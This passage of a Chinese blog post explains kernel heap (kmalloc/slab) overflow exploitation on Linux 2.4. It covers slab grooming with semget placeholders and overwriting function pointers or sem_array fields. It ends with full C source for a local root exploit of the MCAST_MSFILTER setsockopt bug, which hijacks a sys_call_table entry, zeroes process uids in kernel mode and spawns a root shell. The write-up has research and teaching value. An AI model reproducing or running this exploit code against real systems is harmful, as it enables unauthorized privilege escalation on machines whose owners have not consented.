<p>为了能够利用kmalloc溢出漏洞，我们需要了解与kmalloc的三个关键特性(由于kmalloc是基于slab算法的，<br />
因此kmalloc的特性几乎完全由slab算法的实现决定8-) </p>
<p>1、kmalloc/slab是基于伙伴算法的，一个slab块包含多个slab对象，它们是相邻的 </p>
<p>slab管理的对象的缓冲区队列是由一连串的slab块组成，而每个slab块内包含若干同种对象。换句话说，<br />
每个slab块内包含多个同种slab对象，对于kmalloc来说，就是在同一个slab块内存放了多个同样大小的<br />
slab对象，即在一个slab块内kmalloc可以分配的内存块是相邻的。 </p>
<p>这一点可以通过slab分配代码看出来。当现有slab队列中没有空闲的slab对象时，kmem_cache_grow函数将<br />
被调用。在kmem_cache_grow将会进一步调用kmem_getpages为slab缓冲区分配新的内存， </p>
<p>&#8230;<br />
/* Get mem for the objs. */<br />
if (!(objp = kmem_getpages(cachep, flags)))<br />
&#8230; </p>
<p>而在kmem_getpages函数里最终调用了__get_free_pages(即system&#8217;s page allocator，它使用了伙伴算法)，<br />
同时传入了cachep->gfporder指定分配的页面数量，注意gfporder是每个slab块占用的页面数，<br />
<coolcode lang="cpp"><br />
static inline void * kmem_getpages (kmem_cache_t *cachep, unsigned long flags)<br />
{<br />
&#8230;<br />
flags |= cachep->gfpflags;<br />
addr = (void*) __get_free_pages(flags, cachep->gfporder);<br />
&#8230;<br />
return addr;<br />
}<br />
</coolcode><br />
2、kmalloc/slab的分配和释放使用的是LIFO队列 </p>
<p>这一点从代码很容易看出：<br />
<coolcode lang="cpp"><br />
kmalloc -> __kmem_cache_alloc -> skmem_cache_alloc_one -> kmem_cache_alloc_one_tail<br />
&#8230;<br />
slabp->inuse++;<br />
objp = slabp->s_mem + slabp->free*cachep->objsize;<br />
slabp->free=slab_bufctl(slabp)[slabp->free];<br />
&#8230; </p>
<p>kfree -> __kmem_cache_free -> kmem_cache_free_one<br />
&#8230;<br />
{<br />
unsigned int objnr = (objp-slabp->s_mem)/cachep->objsize; </p>
<p>slab_bufctl(slabp)[objnr] = slabp->free;<br />
slabp->free = objnr;<br />
}<br />
&#8230; </coolcode></p>
<p>3、kmalloc/slab分配的内存释放的时候，内容并没有被清除 </p>
<p>四、** kmalloc exploit </p>
<p>我们来看一个例子： </p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| | |<br />
&#8230; | slab对象A | slab对象B | &#8230;<br />
| | |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- </p>
<p>假设上面是一个64字节通用缓冲区中的一个slab块，块中有多个slab对象，内核中有如下代码片段<br />
&#8230;<br />
char *buf = kmalloc(64);<br />
copy_from_user(buf, parm, 80);<br />
&#8230; </p>
<p>当kmalloc时，slab对象A被分配给buf，当执行copy_from_user后，buf将被溢出。在slab块中，与对<br />
象A相邻的对象B将被溢出16个字节，如果此时对象B恰好被分配用于存放一个重要的数据结构，那么我<br />
们就有可能通过更改这个数据结构中的某个重要的变量值提升权限(通常某个函数指针是一个好的选择)！ </p>
<p>是不是看起来很容易？但是要注意了，要成功的利用上面这个例子的漏洞，我们还有几个问题需要解决： </p>
<p>？如何才能使被溢出的slab对象和我们想要覆盖的目标数据结构所在的slab对象是相邻的？ </p>
<p>要做到这点，我们必需保证连续的两次对同一大小slab的申请能够得到相邻的两个slab对象。事实上，<br />
在真实的系统环境中这一点是很难保证的，因为在系统使用过程中，内核会经常的使用kmalloc分配<br />
内存，使用完成后又使用kfree释放，这样就使得slab算法维护的可分配slab对象表(partially and free slabs list)<br />
中slab对象之间是没有任何位置关系的，也就是说这时我们连续两次申请得到的内存块，不但不能保<br />
证它们是相邻的，甚至不能保证它们位于同一个slab块内，这样我们的溢出将是完全不可控的。 </p>
<p>为了解决这个问题，在UNF的paper中提到了一个“经验”方法。这个方法就是：在他们的测试环境中，<br />
在将现有的slab消耗(不断的分配)到只剩下最后四个未被分配的slab对象时，对这最后四个slab对象<br />
的申请所得到的内存块地址将是连续的。 </p>
<p>在我的实际测试中，这个方法确实有一定的成功率，但是这个方法过于“经验”，对系统环境的依赖性<br />
很强，在实际环境中有时非常容易失败，进而导致系统崩溃。 </p>
<p>不过我们想到了一个改进的更好的方法。我们首先耗尽我们的溢出所关注的slab缓冲区中现有的所有slab<br />
对象，这时再有对这个slab缓冲区的分配请求的话，系统将创建一块新的slab块，然后从这个新的slab<br />
块中分配一个slab对象返回给申请者。我们来看看系统对新slab块中的slab对象是如何初始化的，<br />
<coolcode lang="cpp"><br />
static inline void kmem_cache_init_objs (kmem_cache_t * cachep,<br />
slab_t * slabp, unsigned long ctor_flags)<br />
{<br />
&#8230;<br />
for (i = 0; i < cachep->num; i++) {<br />
void* objp = slabp->s_mem+cachep->objsize*i;<br />
&#8230;<br />
slab_bufctl(slabp) = i+1;<br />
}<br />
slab_bufctl(slabp)[i-1] = BUFCTL_END;<br />
slabp->free = 0;<br />
}<br />
</coolcode><br />
可以看到在for循环内，新的slab块将按照cachep->objsize将内存分成若干块，每块就是一个slab对象。<br />
对每一个新的slab对象都有一个slab_bufctl(slabp) = i+1处理。这个语句的作用是把当前对象的<br />
下一个free对象设置为当前slab块内地址与其相邻的下一个对象。最后初始化函数将slab块的第一个free<br />
对象设置为0，即块中的第一个对象。到这里就不难看出，对于新分配的slab块，块内的free-slab表(实际<br />
上可以看做是一个LIFO队列)中的对象在内存上都是顺序的，这样我们再申请的slab分配得到的slab对象<br />
就都是相邻的。 </p>
<p>？如何才能保证kmalloc溢出时目标数据结构已经在相邻的slab对象中了呢？ </p>
<p>虽然在处理上面的问题时，我们已经可以得到相邻的两个slab对象了，但是往往在第一个被溢出的slab<br />
分配后，在返回到应用程序之前溢出就已经发生了(看前面的例子)，而这时我们的第二个slab对象还没<br />
被申请，我们要覆盖的数据结构还没在内存中，这样我们的溢出就无法利用了。 </p>
<p>这时我们前面介绍的kmalloc的第二个特性就有用了。由于slab对内存的分配释放是使用LIFO队列，所以<br />
我们可以这样做：首先触发发一个个kalloc去分配与溢出目标尺寸的slab对象作为placeholder(占位)，<br />
然后再去触发目标数据结构所需的内存的kmalloc，这时slab块中的情景如下： </p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| | |<br />
&#8230; | placeholder | obj-struct | &#8230;<br />
| | |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; </p>
<p>然后我们释放掉placeholder，然后再触发被将溢出的slab对象的分配，由于slab对象的分配释放使用的是<br />
一个后入先出队列，所以将被溢出的slab对象就是刚被释放的placeholder。在溢出发生前，内存的情景如下： </p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| | |<br />
&#8230; | overflow-obj | obj-struct | &#8230;<br />
| | |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; </p>
<p>通过这个办法，就保证kmalloc溢出时目标数据结构已经在相邻的slab对象中了，这样我们就可以覆盖我们<br />
指定的数据结构。 </p>
<p>？我们如何在应用层做到上面提到的slab对象消耗和分配placeholder呢？ </p>
<p>有多个系统调用可以完成这个任务，几个用于IPC的系统调用都可以，但是UNF的paper中提到的sys_semget<br />
比较好，因为它分配的slab对象的尺寸是可控的。每次我们调用sys_semget创建信号量，内核都会使用<br />
kmalloc分配一块内存存放相关数据结构，而且这个数据结构一直存在，直到我们调用删除操作。 </p>
<p>sys_semget -> newary<br />
&#8230;<br />
size = sizeof (*sma) + nsems * sizeof (struct sem);<br />
sma = (struct sem_array *) ipc_alloc(size);<br />
&#8230; </p>
<p>注意上面计算size的代码中的nsems是系统调用的参数，在应用层可以指定。这样我们就可以在任意尺寸的<br />
通用缓冲区中来完成slab对象的消耗和占位。 </p>
<p>？我们如何知道什么时候slab被耗尽了呢？从哪里可以看出系统当前还有多少active的slab对象呢？ </p>
<p>通过/proc/slabinfo可以得到系统kmalloc的slab信息 </p>
<p>grip2@debian:~$ cat /proc/slabinfo<br />
slabinfo &#8211; version: 1.1<br />
&#8230;<br />
size-131072(DMA) 0 0 131072 0 0 32<br />
size-131072 0 0 131072 0 0 32<br />
size-65536(DMA) 0 0 65536 0 0 16<br />
size-65536 0 0 65536 0 0 16<br />
size-32768(DMA) 0 0 32768 0 0 8<br />
size-32768 0 0 32768 0 0 8<br />
size-16384(DMA) 1 1 16384 1 1 4<br />
size-16384 0 1 16384 0 1 4<br />
size-8192(DMA) 0 0 8192 0 0 2<br />
size-8192 14 14 8192 14 14 2<br />
size-4096(DMA) 0 0 4096 0 0 1<br />
size-4096 30 32 4096 30 32 1<br />
size-2048(DMA) 0 0 2048 0 0 1<br />
size-2048 41 44 2048 22 22 1<br />
size-1024(DMA) 0 0 1024 0 0 1<br />
size-1024 30 36 1024 8 9 1<br />
size-512(DMA) 0 0 512 0 0 1<br />
size-512 74 80 512 10 10 1<br />
size-256(DMA) 0 0 256 0 0 1<br />
size-256 15 30 256 2 2 1<br />
size-128(DMA) 2 30 128 1 1 1<br />
size-128 478 510 128 16 17 1<br />
size-64(DMA) 0 0 64 0 0 1<br />
size-64 87 118 64 2 2 1<br />
size-32(DMA) 2 113 32 1 1 1<br />
size-32 270 339 32 3 3 1 </p>
<p>下面是man page里对slabinfo每列数据所代表含义的描述： </p>
<p>For each slab cache, the cache name, the number of currently active objects,<br />
the total number of available objects, the size of each object in bytes,<br />
the number of pages with at least one active object, the total number of allocated pages,<br />
and the number of pages per slab are given. </p>
<p>遗憾的是，在SMP系统环境下，/proc/slabinfo内的信息并不总是能立即反馈系统内真实的slab使用信息，但是<br />
没关系，对于这个问题我们想到了其它办法解决，在文章的后续部分我们将会提及。 </p>
<p>？我们应该覆盖什么的数据结构才能提升权限呢？ </p>
<p>通常这个数据结构最好包含一个函数指针，而且应用层应该有机会通过这个指针来调用函数，还有一点就是<br />
这个数据结构的分配应该可以在用户层控制，并且它是通过kmalloc被调用的。满足这个条件的数据结构相信<br />
你在内核可以找到很多，例如struct file结构, </p>
<p>struct file {<br />
struct list_head f_list;<br />
struct dentry *f_dentry;<br />
struct vfsmount *f_vfsmnt;<br />
struct file_operations *f_op;<br />
atomic_t f_count;<br />
unsigned int f_flags;<br />
mode_t f_mode;<br />
loff_t f_pos;<br />
unsigned long f_reada, f_ramax, f_raend, f_ralen, f_rawin;<br />
struct fown_struct f_owner;<br />
unsigned int f_uid, f_gid;<br />
int f_error; </p>
<p>unsigned long f_version; </p>
<p>/* needed for tty driver, and maybe others */<br />
void *private_data; </p>
<p>/* preallocated helper kiobuf to speedup O_DIRECT */<br />
struct kiobuf *f_iobuf;<br />
long f_iobuf_lock;<br />
}; </p>
<p>struct file结构中的f_op指针为file_operations结构类型，这个结构中定义了对文件进行各种操作时所<br />
对应的回调处理函数： </p>
<p>struct file_operations {<br />
&#8230;<br />
loff_t (*llseek) (struct file *, loff_t, int);<br />
ssize_t (*read) (struct file *, char *, size_t, loff_t *);<br />
ssize_t (*write) (struct file *, const char *, size_t, loff_t *);<br />
int (*readdir) (struct file *, void *, filldir_t);<br />
unsigned int (*poll) (struct file *, struct poll_table_struct *);<br />
int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);<br />
int (*mmap) (struct file *, struct vm_area_struct *);<br />
int (*open) (struct inode *, struct file *);<br />
&#8230;<br />
}; </p>
<p>除了函数指针以外，还有其它信息也可以用于提升权限，比如上个问题中用于消耗slab的sys_semget所使用<br />
的数据结构， </p>
<p>struct sem_array {<br />
struct kern_ipc_perm sem_perm; /* permissions .. see ipc.h */<br />
time_t sem_otime; /* last semop time */<br />
time_t sem_ctime; /* last change time */<br />
struct sem *sem_base; /* ptr to first semaphore in array */<br />
struct sem_queue *sem_pending; /* pending operations to be processed */<br />
struct sem_queue **sem_pending_last; /* last pending operation */<br />
struct sem_undo *undo; /* undo requests on this array */<br />
unsigned long sem_nsems; /* no. of semaphores in array */<br />
}; </p>
<p>通过覆盖结构中的sem_base成员，就可以对任意内核地址进行读写，见相应内核代码： </p>
<p>sys_semctl -> semctl_main<br />
&#8230;<br />
sma = sem_lock(semid);<br />
&#8230;<br />
curr = &#038;sma->sem_base[semnum];<br />
&#8230;<br />
switch (cmd) {<br />
case GETVAL:<br />
err = curr->semval;<br />
goto out_unlock;<br />
&#8230;<br />
case SETVAL:<br />
{<br />
int val = arg.val;<br />
struct sem_undo *un;<br />
err = -ERANGE;<br />
if (val > SEMVMX || val < 0)<br />
goto out_unlock; </p>
<p>for (un = sma->undo; un; un = un->id_next)<br />
un->semadj[semnum] = 0;<br />
curr->semval = val;<br />
curr->sempid = current->pid;<br />
sma->sem_ctime = CURRENT_TIME;<br />
/* maybe some queued-up processes were waiting for this */<br />
update_queue(sma);<br />
err = 0;<br />
goto out_unlock;<br />
}<br />
&#8230; </p>
<p>你可以写current、写sys_call_table 等等&#8230; </p>
<p>好了，现在回顾前面的例子，你认为还有什么问题没有解决吗？<br />
我们现在是不是就可以完成kmalloc exploit了呢 <img src='http://www.lzpnb.com/wp-includes/images/smilies/icon_cool.gif' alt='8-)' class='wp-smiley' /> &#8230; enjoy </p>
<p>五、** 更进一步 </p>
<p>看懂一个技术理论容易，但实现却通常不容易，在我写EXP的时候发现，实现我认为已经很明白的东西要比想象<br />
的麻烦很多，会遭遇到很多没有想到的困难。下面是我们在写实际的kmalloc溢出利用程序时遇到的一些问题和<br />
想到的一些新的技术、方法。这些方法有的实现了有的还未测试，在这里简单的罗列一下，如果有兴趣可以一起<br />
探讨，这也是我们下一步充实和研究kmalloc溢出利用技术的方向。 </p>
<p>1. /proc/slabinfo </p>
<p>通过读取slabinfo，我们可以足够的用于溢出使用的信息。但是遗憾的是，在我们的测试中发现，在SMP系统下<br />
cat /proc/slabinfo显示的信息并不能与系统的真实情况同步。虽然air发现有些情况这个信息更新的很及时，<br />
但是到现在为止，我们还不能确认规律，这个也有待进一步试验。 </p>
<p>2. 另一个得到相邻slab对象的方法(不依赖于/proc/slabinfo) </p>
<p>由于SMP环境下slabinfo存在的问题，消耗完现有系统slab对象以保证得到相邻slab对象的方法也就不在可行，<br />
因为slabinfo信息不准确，我们无法准确得知目前系统有多少个slab对象需要我们预先消耗。不过，即使没有<br />
slabinfo的支持，我们也还有另外一个方法。通常我们可以假设当前系统的slab对象分配尽后，此尺寸的slab<br />
对象的数量并不会达到系统上限(通常都是这样，我还未遇到例外的情况)，所以我们可以一直消耗slab对象到<br />
系统上限，这个我们可以通过函数的返回值判断出来，然后我们从尾部的slab对象中释放两个连续对象供我们<br />
的溢出使用，由于前面的假设，所以我们分配的尾部的slab对象一定是在一个新的slab块中，所以它们一定是<br />
相邻的。 </p>
<p>3、关于特性三 </p>
<p>在kmalloc/slab的特性部分我们提到了三个特性，其中第三个特性在前面并没有被引用。这是因为在本文介绍<br />
的例子中并不需要这个特性，但是在真实漏洞的利用中你也许会用得到。 </p>
<p>4、关于isec-0015-msfilter漏洞的利用 </p>
<p>本来想拿isec-0015-msfilter的漏洞做一个实例分析，但是想了想解释这个漏洞的利用会引入很多内容(比如进程<br />
权限的提升、漏洞触发的具体条件和一些“讨厌”的约束)，那会把这篇文章弄的很复杂，太多的内容会对理解<br />
kmalloc利用的基本技术造成障碍。 </p>
<p>随便说一下，如果你研究了isec-0015-msfilter内核漏洞，你也许会发现由于漏洞触发环境的各种约束，可以覆盖<br />
的有价值的数据结构很少，甚至只能找到一些数据的读写地址供覆盖，最后可能只有通过拦截系统调用的方法来提<br />
升权限，而我们知道在有的环境下无法在应用层准确的得到sys_call_table的地址。不过我们后来想到我们可以将<br />
前面提到的“得到相邻slab对象”技术用到溢出数据源本身，这样可以突破漏洞本身对溢出数据源长度的限制，进<br />
而可以覆盖任意的通过kmalloc分配地址的数据结构了，就不再需要sys_call_table了。 </p>
<p>六、** 最后 </p>
<p>感觉写paper总是比写代码更难，有时解决一个技术问题不易，但是描述和解释一个技术问题却更难，<br />
所以如果文章哪里写的不清楚，存在什么问题，请大家指出和谅解。最后，希望能有更多的交流。 </p>
<p>七、** 参考资料 </p>
<p>1 Linux内核情景分析 </p>
<p>2 kmalloc_exploition.pdf </p>
<p>3 isec-0015-msfilter http://isec.pl </p>
<p>4 内核源代码参考 http://lxr.linux.no </p>
<p>八、** 附录 (kexp-msfilter.c) </p>
<p>下面是isec-0015-msfilter内核漏洞的利用代码，虽然这不是一个通用版本，但是足够作为一个kmalloc exploition<br />
的真实例子了。 </p>
<p>/*<br />
* Linux kernel setsockopt MCAST_MSFILTER privilege elevation<br />
* For kernel 2.4.22 &#8211; 2.4.25<br />
*<br />
* 2006-04-07<br />
* Written by grip2 <gript2@hotmail.com><br />
*<br />
* grip2@debian:~/kernel-sec/exp-msfilter$ ./kexp-msfilter<br />
* numsrc: 0x4000000c msize: 0&#215;40 gsize: 0x68c optlen: 0x68c<br />
* Prepare &#8230;<br />
* full_numsrc: 15 overflow_numsrc: 3<br />
* size-64 87 118 64 2 2 1<br />
* size-64 119 177 64 3 3 1<br />
* Exploiting &#8230;<br />
* setsockopt: Cannot assign requested address<br />
* sh-2.05b#<br />
**/ </p>
<p>#include <string.h><br />
#include <stdlib.h><br />
#include <stdio.h><br />
#include <unistd.h><br />
#include
<linux/unistd.h>
#include <sys/types.h><br />
#include <sys/socket.h><br />
#include
<linux/in.h>
#include <sys/ipc.h><br />
#include <sys/sem.h><br />
#include <sys/stat.h><br />
#include <assert.h><br />
#include <fcntl.h><br />
#include <sys/mman.h><br />
#include
<linux/sysctl.h>
#include <signal.h><br />
#include <setjmp.h><br />
#include <wait.h> </p>
<p>#define KB * 1024<br />
#define MB * 1024 KB<br />
#define GB * 1024 MB<br />
#define NOP &#8216;A&#8217;<br />
int uid, gid;<br />
unsigned task_size;<br />
unsigned user_cs,user_ds; </p>
<p>void **sys_call_table;<br />
#define __NR_hijack_getroot 0<br />
static inline _syscall1(int, hijack_getroot, unsigned long *, val) </p>
<p>#define SOL_IP 0<br />
#define MY_NUMSRC 12 </p>
<p>#define SIZE_PIPE_INODE_INFO 64 /* sizeof(struct pipe_inode_info) */<br />
#define SLAB_SIZE (fix_slabsize(SIZE_PIPE_INODE_INFO)) </p>
<p>#define MAX_SEM_LIMIT 4096<br />
static int sem_handles[MAX_SEM_LIMIT];<br />
static int sem_count = 0; </p>
<p>/*<br />
* (kernel-2.4.22) &#8212; ipc/sem.c<br />
* &#8230;<br />
* size = sizeof (*sma) + nsems * sizeof (struct sem);<br />
* sma = (struct sem_array *) ipc_alloc(size);<br />
* &#8230;<br />
*/<br />
#define COMPUTE_NSEMS(slabsize) (((fix_slabsize(slabsize)) &#8211; 56) / 8); </p>
<p>static int fix_slabsize(slabsize)<br />
{<br />
/*<br />
* (kernel-2.4.22)<br />
**/<br />
int cache_sizes[] = {<br />
#if PAGE_SIZE == 4096<br />
32,<br />
#endif<br />
64,<br />
128,<br />
256,<br />
512,<br />
1024,<br />
2048,<br />
4096,<br />
8192,<br />
16384,<br />
32768,<br />
65536,<br />
131072,<br />
}; </p>
<p>int num, i; </p>
<p>num = sizeof(cache_sizes)/sizeof(int);<br />
for (i = 0; i < num; i++) {<br />
if (cache_sizes < slabsize)<br />
continue;<br />
slabsize = cache_sizes;<br />
break;<br />
} </p>
<p>return slabsize;<br />
} </p>
<p>unsigned long get_sys_call_table(void)<br />
{<br />
FILE *fp;<br />
char linebuf[128];<br />
char stuff[64];<br />
unsigned long addr;<br />
int found = 0;<br />
int r; </p>
<p>fp = fopen("/proc/ksyms", "r");<br />
if (fp == NULL) {<br />
perror("fopen /proc/ksyms");<br />
return;<br />
} </p>
<p>while (!feof(fp)) {<br />
if (!fgets(linebuf, sizeof(linebuf), fp))<br />
continue; </p>
<p>memset(stuff, 0 ,sizeof(stuff));<br />
r = sscanf(linebuf, "%x %s", &#038;addr, stuff);<br />
if (r != 2 || !strstr(stuff, "sys_call_table"))<br />
continue; </p>
<p>printf(linebuf);<br />
found = 1;<br />
break;<br />
} </p>
<p>fclose(fp);<br />
return found ? addr : 0;<br />
} </p>
<p>static void prepare_slab(int slabsize, int left)<br />
{<br />
FILE *fp;<br />
char linebuf[128];<br />
int r, found = 0;<br />
int s_size, s_active, s_total;<br />
int nsems; </p>
<p>slabsize = fix_slabsize(slabsize);<br />
nsems = COMPUTE_NSEMS(slabsize); </p>
<p>fp = fopen("/proc/slabinfo", "r");<br />
if (fp == NULL) {<br />
perror("fopen /proc/slabinfo");<br />
return;<br />
} </p>
<p>while (!feof(fp)) {<br />
if (!fgets(linebuf, sizeof(linebuf), fp))<br />
continue; </p>
<p>r = sscanf(linebuf, "size-%d %d %d", &#038;s_size, &#038;s_active, &#038;s_total);<br />
if (r != 3 || s_size != slabsize)<br />
continue; </p>
<p>printf(linebuf);<br />
found = 1;<br />
break;<br />
}<br />
fclose(fp); </p>
<p>if (found) {<br />
int i, num; </p>
<p>num = s_total - s_active - left;<br />
num = (num <= (MAX_SEM_LIMIT-sem_count)) ? num : (MAX_SEM_LIMIT-sem_count);<br />
for (i = sem_count; i < num; i++, sem_count++) {<br />
sem_handles = semget(IPC_PRIVATE, nsems, IPC_CREAT);<br />
}<br />
} </p>
<p>return;<br />
} </p>
<p>static void de_prepare_slab()<br />
{<br />
int i; </p>
<p>for (i = 0; i < sem_count; i++) {<br />
if (sem_handles != -1)<br />
if (semctl(sem_handles, 0, IPC_RMID)) perror("ipc_rmid");<br />
}<br />
sem_count = 0;<br />
} </p>
<p>void shellcode(void)<br />
{<br />
char *p[] ={"/bin/sh", 0};<br />
// de_prepare_slab();<br />
execve("/bin/sh",p,0);<br />
_exit(0);<br />
} </p>
<p>void configure(void)<br />
{<br />
unsigned val;<br />
task_size = ((unsigned)&#038;val + 1 GB ) / (1 GB) * 1 GB;<br />
uid = getuid();<br />
gid = getgid();<br />
user_ds = myget_ds();<br />
user_cs = myget_cs(); </p>
<p>}<br />
void kernel(unsigned * task)<br />
{<br />
unsigned * addr = task; </p>
<p>/* looking for uids */<br />
while (addr[0] != uid || addr[1] != uid ||<br />
addr[2] != uid || addr[3] != uid<br />
)<br />
addr++; </p>
<p>addr[0] = addr[1] = addr[2] = addr[3] = 0; /* set uids */<br />
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* set gids */<br />
} </p>
<p>void set_root(unsigned int *ts)<br />
{<br />
if((unsigned int*)*ts!=NULL)<br />
ts = (int*)*ts; </p>
<p>int cntr;<br />
for(cntr = 0; cntr <= 512; cntr++, ts++)<br />
if( ts[0] == uid &#038;&#038; ts[1] == uid &#038;&#038; ts[4] == gid &#038;&#038; ts[5] == gid)<br />
ts[0] = ts[1] = ts[4] = ts[5] = 0;<br />
} </p>
<p>int myget_cs()<br />
{<br />
__asm__("movl %cs,%eax\n");<br />
}<br />
int myget_ds()<br />
{<br />
__asm__("movl %ds,%eax\n");<br />
} </p>
<p>/*<br />
* kernel 2.4.x/2.6.x privilege elevator<br />
**/<br />
extern load_highlevel;<br />
__asm__<br />
(<br />
"load_highlevel: \n\t"<br />
"mov $0xffffe000,%eax\n\t"<br />
"and %esp,%eax \n\t"<br />
"pushl %eax \n\t"<br />
"call set_root \n\t"<br />
"pop %eax \n\t"<br />
"cli \n\t"<br />
"movl $user_ds,%eax \n\t"<br />
"pushl (%eax)\n"<br />
"pop %ds \n\t" /* DS */<br />
"pushl %ds \n\t" /* SS */<br />
"pushl $0xc0000000 \n\t" /* ESP */<br />
"pushl $0x246 \n\t" /* EFLAGS */<br />
"movl $user_cs,%eax \n\t" /* CS */<br />
"pushl (%eax) \n\t"<br />
"pushl $shellcode \n\t"<br />
"iret \n\t"<br />
); </p>
<p>int main(int argc, char *argv[])<br />
{<br />
int sock = -1;<br />
int victim_pipe[2] = {-1, -1};<br />
int holderid = -1;<br />
struct group_filter *gsf = NULL; /* &#038;optval */<br />
int optlen, optlen_align;<br />
int nsems;<br />
int pid;<br />
int status; </p>
<p>unsigned int numsrc, full_numsrc, of_numsrc /* overflow numsrc */;<br />
int msize, gsize, i;<br />
struct sockaddr_in *psin; </p>
<p>sys_call_table = (void *) get_sys_call_table();<br />
if (!sys_call_table)<br />
goto err; </p>
<p>sock = socket(PF_INET, SOCK_STREAM, 0);<br />
if (sock == -1) {<br />
perror("socket");<br />
goto err;<br />
} </p>
<p>optlen = sizeof(struct group_filter) +<br />
sizeof(struct sockaddr_storage) * (MY_NUMSRC-1);<br />
optlen_align = fix_slabsize(optlen);<br />
/*<br />
* (kernel-2.4.22)<br />
* ...<br />
* define IP_MSFILTER_SIZE(numsrc) \<br />
* (sizeof(struct ip_msfilter) - sizeof(__u32) \<br />
* + (numsrc) * sizeof(__u32))<br />
*/<br />
numsrc = ((4 - (sizeof(struct ip_msfilter) - 4)))/4 + (SLAB_SIZE - 4)/4;<br />
msize = IP_MSFILTER_SIZE(numsrc);<br />
gsize = GROUP_FILTER_SIZE(numsrc);<br />
printf("numsrc: 0x%x msize: 0x%x gsize: 0x%x optlen: 0x%x\n",<br />
numsrc, msize, gsize, optlen); </p>
<p>if (argc == 2 &#038;&#038; !strcmp(argv[1], "-w"))<br />
exit(EXIT_SUCCESS); </p>
<p>gsf = malloc(optlen_align);<br />
if (gsf == NULL) {<br />
perror("malloc");<br />
goto err;<br />
}<br />
memset(gsf, 'A', optlen); </p>
<p>/*<br />
* Prepare<br />
**/<br />
printf("Prepare ...\n");<br />
gsf->gf_numsrc = numsrc;<br />
gsf->gf_interface = 0;<br />
gsf->gf_fmode = 0;<br />
psin = (struct sockaddr_in *) &#038;gsf->gf_group;<br />
psin->sin_family = AF_INET; </p>
<p>for (i = 0; i < MY_NUMSRC; i++) {<br />
psin = (struct sockaddr_in *) &#038;gsf->gf_slist;<br />
psin->sin_family = AF_INET;<br />
psin->sin_addr.s_addr = 0&#215;43434343;<br />
} </p>
<p>full_numsrc = (optlen_align &#8211; sizeof(struct group_filter))<br />
/ sizeof(gsf->gf_slist[0]) + 1 + 1;<br />
of_numsrc = full_numsrc<br />
- ((SLAB_SIZE &#8211; 20 /* sizeof(struct ip_msfilter) */) / 4 + 1);<br />
printf(“full_numsrc: %d \toverflow_numsrc: %d\n”, full_numsrc, of_numsrc); </p>
<p>for (; i < full_numsrc; i++) {<br />
psin = (struct sockaddr_in *) &#038;gsf->gf_slist;<br />
psin->sin_family = AF_INET;<br />
psin->sin_addr.s_addr = 0&#215;44444444;<br />
}<br />
assert(of_numsrc == 3);<br />
psin = (struct sockaddr_in *) &#038;gsf->gf_slist[full_numsrc-of_numsrc-1+3]; /* char *base */<br />
psin->sin_addr.s_addr = (unsigned int) &#038;sys_call_table[__NR_hijack_getroot]; </p>
<p>setsockopt(sock, SOL_IP, MCAST_MSFILTER, gsf, optlen_align);<br />
prepare_slab(SLAB_SIZE, -1);<br />
prepare_slab(SLAB_SIZE, 4); </p>
<p>nsems = COMPUTE_NSEMS(SLAB_SIZE);<br />
holderid = semget(IPC_PRIVATE, nsems, IPC_CREAT);<br />
if (holderid == -1) {<br />
perror(“semget IPC_NEW”);<br />
goto err;<br />
} </p>
<p>if (pipe(victim_pipe) == -1) {<br />
perror(“pipe”);<br />
goto err;<br />
} </p>
<p>semctl(holderid, 0, IPC_RMID);<br />
printf(“Exploiting &#8230;\n”);<br />
semctl(holderid, 0, IPC_RMID);<br />
if (setsockopt(sock, SOL_IP, MCAST_MSFILTER, gsf, optlen) == -1)<br />
perror(“setsockopt”); </p>
<p>/*<br />
* Get root<br />
**/<br />
char *p_load_highlevel = (void *) &#038;load_highlevel;<br />
if (fork() == 0)<br />
{<br />
int cnt;<br />
alarm(1);<br />
cnt = write(victim_pipe[1], &#038;p_load_highlevel, 4);<br />
if (cnt == -1) {<br />
perror(“write pipe”);<br />
goto err;<br />
}<br />
exit(0);<br />
}<br />
sleep(2); </p>
<p>if ((pid = fork()) == 0) {<br />
configure();<br />
hijack_getroot(0); </p>
<p>printf(“Failed to get root!\n”);<br />
_exit(-1);<br />
} </p>
<p>while (1) {<br />
if (waitpid(pid, &#038;status, 0) < 0)<br />
break;<br />
} </p>
<p>de_prepare_slab();<br />
free(gsf);<br />
close(sock); </p>
<p>close(victim_pipe[0]);<br />
close(victim_pipe[1]);<br />
return EXIT_SUCCESS;<br />
err:<br />
if (victim_pipe[0] > 0) {<br />
close(victim_pipe[0]);<br />
close(victim_pipe[1]);<br />
} </p>
<p>de_prepare_slab(); /* it&#8217;s safe */ </p>
<p>if (holderid != -1)<br />
semctl(holderid, 0, IPC_RMID);<br />
if (gsf)<br />
free(gsf);<br />
if (sock != -1)<br />
close(sock);<br />
return EXIT_FAILURE;<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lzpnb.com/archives/131/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Served from: www.lzpnb.com @ 2012-02-07 15:46:10 by W3 Total Cache -->
